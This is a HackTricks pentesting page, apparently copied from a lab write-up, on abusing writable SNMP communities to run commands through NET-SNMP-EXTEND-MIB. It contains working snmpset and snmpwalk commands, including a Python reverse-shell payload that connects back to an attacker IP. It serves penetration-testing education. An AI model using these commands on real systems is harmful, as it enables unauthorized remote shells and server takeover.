hacktricks/network-services-pentesting/pentesting-snmp/snmp-rce.md

111 lines
5.5 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
2024-01-08 11:25:09 +00:00
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-01-08 11:25:09 +00:00
Other ways to support HackTricks:
2022-04-28 16:01:33 +00:00
2024-01-08 11:25:09 +00:00
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
2021-04-19 17:04:40 +00:00
This post was copied from [https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/](https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/)
SNMP is sometimes overseen by the administrator of the device or server where it is left in a default configuration. SNMP community with write permissions \(**rwcommunity**\) on the Linux operating system can be abused to let the attacker execute a command on the server.
![](https://rioasmara.files.wordpress.com/2021/02/image-6.png?w=508)
2022-05-01 12:49:36 +00:00
# **Extending the Services**
2021-04-19 17:04:40 +00:00
While you are not able to modify existing entries that were configured in **snmpd.conf**, it is possible to add additional commands over SNMP, because the “MAX-ACCESS” permission setting in the MIB definition is set to “**read-create**”
Adding a new command basically works by appending an additional row to the “**nsExtendObjects**” table.
```bash
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'
```
Injecting a command to run on the SNMP service. **NET-SNMP-EXTEND-MIB** requires that you always provide the absolute path to the executable. The called binary/script must also exist and be executable.
![](https://rioasmara.files.wordpress.com/2021/02/image-15.png?w=916)
Executing the command that we injected to the SNMP by enumerating it using snmpwalk
```bash
snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects
```
Showing that the command is /bin/echo.
![](https://rioasmara.files.wordpress.com/2021/02/image-11.png?w=569)
The command will be executed when the it is read. **run-on-read\(\)**
![](https://rioasmara.files.wordpress.com/2021/02/image-12.png?w=612)
The command **/bin/echo "hello rio is here"** was executed during our snmpwalk read
![](https://rioasmara.files.wordpress.com/2021/02/image-13.png?w=653)
2022-05-01 12:49:36 +00:00
# **Getting the Shell** **from Net-SNMP Extend**
2021-04-19 17:04:40 +00:00
In this section, I would like to discuss how to gain a server shell to control the server.
You can use python script developed by **mxrch** that can be downloaded from [**https://github.com/mxrch/snmp-shell.git**](https://github.com/mxrch/snmp-shell.git)
You can install the pre-requisite to run this:
```bash
sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt
```
![](https://rioasmara.files.wordpress.com/2021/02/image-18.png?w=723)
**Creating reverse shell**
You can also create reverse shell manually by injecting the command below into the SNMP
```bash
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
```
![](https://rioasmara.files.wordpress.com/2021/02/image-19.png?w=930)
run the snmpwalk to trigger the command execution
![](https://rioasmara.files.wordpress.com/2021/02/image-21.png?w=687)
Our netcat receives the reverseshell connection from the victim that allow us to gain control over the victim machine
![](https://rioasmara.files.wordpress.com/2021/02/image-20.png?w=502)
2022-04-28 16:01:33 +00:00
<details>
2024-01-08 11:25:09 +00:00
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-01-08 11:25:09 +00:00
Other ways to support HackTricks:
2022-04-28 16:01:33 +00:00
2024-01-08 11:25:09 +00:00
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>